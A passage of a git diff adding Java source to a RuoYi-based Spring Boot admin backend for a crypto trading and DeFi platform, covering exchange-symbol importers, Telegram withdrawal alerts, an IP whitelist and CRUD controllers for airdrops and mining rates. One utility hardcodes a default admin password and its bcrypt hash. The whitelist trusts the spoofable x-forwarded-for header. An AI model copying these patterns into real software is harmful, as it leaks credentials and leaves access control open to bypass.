org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; + +/** + * 启动程序 + * + * @author ruoyi + */ +@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class }) +public class AdminApplication //implements ApplicationRunner +{ + /* @Autowired + private WebSocketClientFactory webSocketClientFactory;*/ + /* @Override + public void run(ApplicationArguments args) { + // 项目启动的时候打开websocket连接 + webSocketClientFactory.retryOutCallWebSocketClient(); + }*/ + public static void main(String[] args) + { + SpringApplication.run(AdminApplication.class, args); + System.out.println("启动成功\n"); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java b/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java new file mode 100644 index 0000000..43e64f7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java @@ -0,0 +1,18 @@ +package com.ruoyi; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +/** + * web容器中进行部署 + * + * @author ruoyi + */ +public class RuoYiServletInitializer extends SpringBootServletInitializer +{ + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) + { + return application.sources(AdminApplication.class); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/TPass.java b/ruoyi-admin/src/main/java/com/ruoyi/TPass.java new file mode 100644 index 0000000..0643e3e --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/TPass.java @@ -0,0 +1,20 @@ +package com.ruoyi; + +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; + +/** + * @ClassName TPass + * @Description TODO + * @Author px + * @Version 1.0 + */ +public class TPass { + public static void main(String[] args) { + + //admin $2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2 + BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(); + String temp=encoder.encode("admin@123!"); + System.out.println(temp); + + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java b/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java new file mode 100644 index 0000000..225e90b --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java @@ -0,0 +1,141 @@ +package com.ruoyi.compent; + +import cc.block.data.api.BlockccApiClientFactory; +import cc.block.data.api.BlockccApiRestClient; +import cc.block.data.api.domain.BlockccResponse; +import cc.block.data.api.domain.market.Market; +import cc.block.data.api.domain.market.Symbol; +import cc.block.data.api.domain.market.request.MarketParam; +import cc.block.data.api.domain.market.request.SymbolParam; +import cn.hutool.http.HttpRequest; +import cn.hutool.http.HttpResponse; +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSymbolsMapper; +import com.ruoyi.bussiness.service.ITMarketsService; +import com.ruoyi.bussiness.service.ITSymbolsService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import java.util.List; + +@Component +public class BeeBuildCompent { + public static final Logger log = LoggerFactory.getLogger(BeeBuildCompent.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + @Autowired + ITMarketsService marketsService; + @Autowired + ITSymbolsService symbolsService; + @Autowired + KlineSymbolMapper klineSymbolMapper; + + // @PostConstruct + private void buildHuobiCoin(){ + HttpResponse execute = HttpUtil.createGet("https://api.huobi.pro/v1/common/currencys").execute(); + if (execute.isOk()){ + String result = execute.body(); + JSONObject ret = JSONObject.parseObject(result); + JSONArray data =(JSONArray) ret.get("data"); + for (Object coin: data) { + KlineSymbol query = new KlineSymbol(); + String coin1 = (String) coin; + query.setSymbol(coin1); + query.setMarket("huobi"); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("huobi"); + klineSymbol.setSlug(coin1.toUpperCase()); + klineSymbol.setSymbol(coin1); + TSymbols tSymbols = new TSymbols(); + tSymbols.setSymbol(coin1.toUpperCase()); + List tSymbols1 = symbolsService.selectTSymbolsList(tSymbols); + if(null!=tSymbols1&&tSymbols1.size()>0){ + TSymbols tSymbols2 = tSymbols1.get(0); + klineSymbol.setLogo(tSymbols2.getLogoUrl()); + } + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } +///sapi/v1/convert/exchangeInfo + // @PostConstruct + public void buildBinanceCoin(){ + HttpResponse execute = HttpUtil.createGet("https://fapi.binance.com/fapi/v1/exchangeInfo").execute(); + if (execute.isOk()){ + String result = execute.body(); + JSONObject ret = JSONObject.parseObject(result); + JSONArray data =(JSONArray) ret.get("symbols"); + for (Object coin: data) { + KlineSymbol query = new KlineSymbol(); + JSONObject coin1 = (JSONObject) coin; + String symbol = (String) coin1.get("baseAsset"); + query.setSymbol(symbol); + query.setMarket("binance"); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("binance"); + klineSymbol.setSlug(symbol.toUpperCase()); + klineSymbol.setSymbol(symbol); + TSymbols tSymbols = new TSymbols(); + tSymbols.setSymbol(symbol.toUpperCase()); + List tSymbols1 = symbolsService.selectTSymbolsList(tSymbols); + if(null!=tSymbols1&&tSymbols1.size()>0){ + TSymbols tSymbols2 = tSymbols1.get(0); + klineSymbol.setLogo(tSymbols2.getLogoUrl()); + } + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } +// + //@PostConstruct + public void buildExCoin(){ + HttpResponse execute = HttpUtil.createGet("https://api-q.fx678img.com/exchangeSymbol.php?exchName=WH") + .header("referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com").execute(); + String logo ="https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/#.png"; + KlineSymbol query = new KlineSymbol(); + if (execute.isOk()){ + String result = execute.body(); + JSONArray objects = JSONArray.parseArray(result); + for (int a = 0 ;a klineSymbols = klineSymbolMapper.selectKlineSymbolList(query); + if(null==klineSymbols||klineSymbols.size()<1){ + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setMarket("mt5"); + klineSymbol.setSlug(symbol.toUpperCase()); + klineSymbol.setSymbol(symbol); + klineSymbol.setLogo(logo.replace("#",symbol)); + klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + } + } + } + public static void main(String[] args) { + BeeBuildCompent beeBuildCompent =new BeeBuildCompent(); + beeBuildCompent.buildExCoin(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java new file mode 100644 index 0000000..684c9f3 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java @@ -0,0 +1,95 @@ +package com.ruoyi.config; + +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.listen.ListenerMessage; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.telegrambot.MyTelegramBot; +import lombok.extern.slf4j.Slf4j; +import lombok.var; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.connection.stream.Consumer; +import org.springframework.data.redis.connection.stream.ReadOffset; +import org.springframework.data.redis.connection.stream.RecordId; +import org.springframework.data.redis.connection.stream.StreamOffset; +import org.springframework.data.redis.stream.StreamMessageListenerContainer; +import org.springframework.data.redis.stream.Subscription; + +import javax.annotation.PostConstruct; +import java.time.Duration; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author Huhailong + * @Description 注入监听类 + * @Date 2021/3/12. + */ +@Slf4j +@Configuration +public class RedisStreamConfig { + + private final ListenerMessage streamListener; //监听类 + private final RedisUtil redisUtil; //redis工具类 + + @Value("${admin-redis-stream.names}") + private String[]redisStreamNames; //redis stream 数组 + @Value("${admin-redis-stream.groups}") + private String[]groups; //redis stream 群组数组 + + /** + * 注入工具类和监听类 + */ + @Autowired + public RedisStreamConfig(RedisUtil redisUtil, List marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService, MyTelegramBot myTelegramBot){ + this.redisUtil = redisUtil; + this.streamListener = new ListenerMessage(redisUtil,marketThread,webSocketNotice,withdrawService,myTelegramBot); + } + + @Bean + public List subscription(RedisConnectionFactory factory){ + List resultList = new ArrayList<>(); + var options = StreamMessageListenerContainer + .StreamMessageListenerContainerOptions + .builder() + .pollTimeout(Duration.ofSeconds(1)) + .build(); + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + var listenerContainer = StreamMessageListenerContainer.create(factory,options); + Subscription subscription = listenerContainer.receiveAutoAck(Consumer.from(groups[0], this.getClass().getName()), + StreamOffset.create(redisStreamName, ReadOffset.lastConsumed()), streamListener); + resultList.add(subscription); + listenerContainer.start(); + } + return resultList; + } + + + private void initStream(String key, String group){ + boolean hasKey = redisUtil.hasKey(key); + if(!hasKey){ + Map map = new HashMap<>(); + map.put("field","value"); + RecordId recordId = redisUtil.addStream(key, map); + redisUtil.addGroup(key,group); + //将初始化的值删除掉 + redisUtil.delField(key,recordId.getValue()); + log.debug("stream:{}-group:{} initialize success",key,group); + } + } + + @PostConstruct + private void initStream(){ + for (String redisStreamName : redisStreamNames) { + initStream(redisStreamName,groups[0]); + } + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java b/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java new file mode 100644 index 0000000..75c0d88 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java @@ -0,0 +1,83 @@ +package com.ruoyi.listen; + +import com.alibaba.fastjson2.JSON; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.data.redis.connection.stream.MapRecord; +import org.springframework.data.redis.stream.StreamListener; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.api.methods.send.SendMessage; + +import javax.annotation.Resource; +import java.util.List; +import java.util.Map; + +@Component +@Slf4j +public class ListenerMessage implements StreamListener> { + + ITWithdrawService withdrawService; + RedisUtil redisUtil; + List marketThread; + WebSocketNotice webSocketNotice; + + private MyTelegramBot myTelegramBot; + public ListenerMessage(RedisUtil redisUtil, List marketThread, WebSocketNotice webSocketNotice, ITWithdrawService withdrawService,MyTelegramBot myTelegramBot){ + this.redisUtil = redisUtil; + this.marketThread = marketThread; + this.webSocketNotice = webSocketNotice; + this.withdrawService = withdrawService; + this.myTelegramBot = myTelegramBot; + } + + @Override + public void onMessage(MapRecord entries) { + try{ + //check用于验证key和对应消息是否一直 + log.debug("stream name :{}, body:{}, check:{}",entries.getStream(),entries.getValue(),(entries.getStream().equals(entries.getValue().get("name")))); + String stream = entries.getStream(); + switch (stream) { + case "notice_key": + Map map =entries.getValue(); + if(map.containsKey(CacheConstants.WITHDRAW_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,1); + } + if(map.containsKey(CacheConstants.RECHARGE_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,2); + + } + if(map.containsKey(CacheConstants.VERIFIED_KEY)){ + webSocketNotice.sendInfoAll(withdrawService,3); + } + if(map.containsKey(CacheConstants.WITHDRAW_KEY_BOT)){ + String s = map.get(CacheConstants.WITHDRAW_KEY_BOT); + TWithdraw withdraw = JSON.parseObject(s, TWithdraw.class); + SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.WITHDRAW.getCode(), null, withdraw); + myTelegramBot.toSend(sendMessage); + } + if(map.containsKey(CacheConstants.RECHARGE_KEY_BOT)){ + String s = map.get(CacheConstants.RECHARGE_KEY_BOT); + TAppRecharge recharge = JSON.parseObject(s, TAppRecharge.class); + SendMessage sendMessage = BotMessageBuildUtils.buildText(RecordEnum.RECHARGE.getCode(), recharge, null); + myTelegramBot.toSend(sendMessage); + } + break; + default: + throw new IllegalStateException("Unexpected value: " + stream); + } + redisUtil.delField(entries.getStream(),entries.getId().getValue()); + }catch (Exception e){ + log.error("error message:{}",e.getMessage()); + } + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java new file mode 100644 index 0000000..a601e02 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java @@ -0,0 +1,21 @@ +package com.ruoyi.web; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +@Configuration +public class WebMvcConfig implements WebMvcConfigurer { + + @Bean + public WhiteIpInterceptor whiteIpInterceptor() { + return new WhiteIpInterceptor(); + } + + @Override + public void addInterceptors(InterceptorRegistry registry) { + registry.addInterceptor(whiteIpInterceptor()).addPathPatterns("/**"); + } + +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java b/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java new file mode 100644 index 0000000..5ca4fe8 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java @@ -0,0 +1,97 @@ +package com.ruoyi.web; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.LoginRegisSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.WhiteIpSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.servlet.HandlerInterceptor; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.List; +import java.util.Objects; + +@Slf4j +public class WhiteIpInterceptor implements HandlerInterceptor { + + public static final String LOCALHOST = "127.0.0.1"; + @Autowired + private SettingService settingService; + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + Setting setting = settingService.get(SettingEnum.WHITE_IP_SETTING.name()); + if (Objects.isNull(setting)){ + return true; + }else{ + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), WhiteIpSetting.class); + if(CollectionUtils.isEmpty(list)){ + return true; + }else{ + try { + String ip = getIpAddr(request); + for (WhiteIpSetting whiteIp:list) { + if (StringUtils.isNotEmpty(whiteIp.getIp()) && whiteIp.getIp().equals(ip)){ + return true; + } + } + //拦截跳转 + log.debug("ip:{} is not allowed.",ip); + return this.failInterceptor(response,ip); + }catch(Exception e){ + log.error("Error occurred while checking the white ip ", e); + } + } + } + return false; + } + + /** + * 拦截器过滤失败 + * + * @param response + * @return + * @throws IOException + */ + public boolean failInterceptor(HttpServletResponse response,String ip) throws IOException { + try { + response.setCharacterEncoding("utf-8"); + response.setContentType("text/html; charset=utf-8"); + response.setStatus(403); + response.getWriter().println("Access denied: "+ip + ".登录其他账号请刷新页面"); + response.getWriter().flush(); + response.getWriter().close(); + return false; + } catch (Exception e) { + log.error("Error occurred while checking the white ip ", e); + return false; + } + } + + + public static String getIpAddr(HttpServletRequest request) { + String ip = request.getHeader("x-forwarded-for"); + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getHeader("Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getHeader("WL-Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { + ip = request.getRemoteAddr(); + } + if (ip.equals("0:0:0:0:0:0:0:1")) { + ip = LOCALHOST; + } + if (ip.split(",").length > 1) { + ip = ip.split(",")[0]; + } + return ip; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java new file mode 100644 index 0000000..3e9b827 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.service.IDefiActivityService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 空投活动Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/activitydefi") +public class DefiActivityController extends BaseController +{ + @Autowired + private IDefiActivityService defiActivityService; + + /** + * 查询空投活动列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiActivity defiActivity) + { + startPage(); + List list = defiActivityService.selectDefiActivityList(defiActivity); + return getDataTable(list); + } + + /** + * 导出空投活动列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:export')") + @Log(title = "空投活动", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiActivity defiActivity) + { + List list = defiActivityService.selectDefiActivityList(defiActivity); + ExcelUtil util = new ExcelUtil(DefiActivity.class); + util.exportExcel(response, list, "空投活动数据"); + } + + /** + * 获取空投活动详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiActivityService.selectDefiActivityById(id)); + } + + /** + * 新增空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:add')") + @Log(title = "空投活动", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiActivity defiActivity) + { + return toAjax(defiActivityService.insertDefiActivity(defiActivity)); + } + + /** + * 修改空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:edit')") + @Log(title = "空投活动", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiActivity defiActivity) + { + return toAjax(defiActivityService.updateDefiActivity(defiActivity)); + } + + /** + * 删除空投活动 + */ + @PreAuthorize("@ss.hasPermi('bussiness:activitydefi:remove')") + @Log(title = "空投活动", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiActivityService.deleteDefiActivityByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java new file mode 100644 index 0000000..aab61a2 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.service.IDefiOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * defi订单Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/orderdefi") +public class DefiOrderController extends BaseController +{ + @Autowired + private IDefiOrderService defiOrderService; + + /** + * 查询defi订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiOrder defiOrder) + { + startPage(); + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + defiOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = defiOrderService.selectDefiOrderList(defiOrder); + return getDataTable(list); + } + + /** + * 导出defi订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:export')") + @Log(title = "defi订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiOrder defiOrder) + { + List list = defiOrderService.selectDefiOrderList(defiOrder); + ExcelUtil util = new ExcelUtil(DefiOrder.class); + util.exportExcel(response, list, "defi订单数据"); + } + + /** + * 获取defi订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiOrderService.selectDefiOrderById(id)); + } + + /** + * 新增defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:add')") + @Log(title = "defi订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiOrder defiOrder) + { + return toAjax(defiOrderService.insertDefiOrder(defiOrder)); + } + + /** + * 修改defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:edit')") + @Log(title = "defi订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiOrder defiOrder) + { + return toAjax(defiOrderService.updateDefiOrder(defiOrder)); + } + + /** + * 删除defi订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:orderdefi:remove')") + @Log(title = "defi订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiOrderService.deleteDefiOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java new file mode 100644 index 0000000..8e98659 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.DefiRate; +import com.ruoyi.bussiness.service.IDefiRateService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * defi挖矿利率配置Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/ratedefi") +public class DefiRateController extends BaseController +{ + @Autowired + private IDefiRateService defiRateService; + + /** + * 查询defi挖矿利率配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:list')") + @GetMapping("/list") + public TableDataInfo list(DefiRate defiRate) + { + startPage(); + List list = defiRateService.selectDefiRateList(defiRate); + return getDataTable(list); + } + + /** + * 导出defi挖矿利率配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:export')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, DefiRate defiRate) + { + List list = defiRateService.selectDefiRateList(defiRate); + ExcelUtil util = new ExcelUtil(DefiRate.class); + util.exportExcel(response, list, "defi挖矿利率配置数据"); + } + + /** + * 获取defi挖矿利率配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(defiRateService.selectDefiRateById(id)); + } + + /** + * 新增defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:add')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody DefiRate defiRate) + { + return toAjax(defiRateService.insertDefiRate(defiRate)); + } + + /** + * 修改defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:edit')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody DefiRate defiRate) + { + return toAjax(defiRateService.updateDefiRate(defiRate)); + } + + /** + * 删除defi挖矿利率配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ratedefi:remove')") + @Log(title = "defi挖矿利率配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(defiRateService.deleteDefiRateByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java new file mode 100644 index 0000000..1ea668d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java @@ -0,0 +1,142 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.atomic.AtomicReference; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.vo.OwnVO; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import org.apache.commons.collections4.CollectionUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 数据源Controller + * + * @author ruoyi + * @date 2023-07-10 + */ +@RestController +@RequestMapping("/bussiness/klineSymbol") +public class KlineSymbolController extends BaseController +{ + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private RedisCache redisCache; + + /** + * 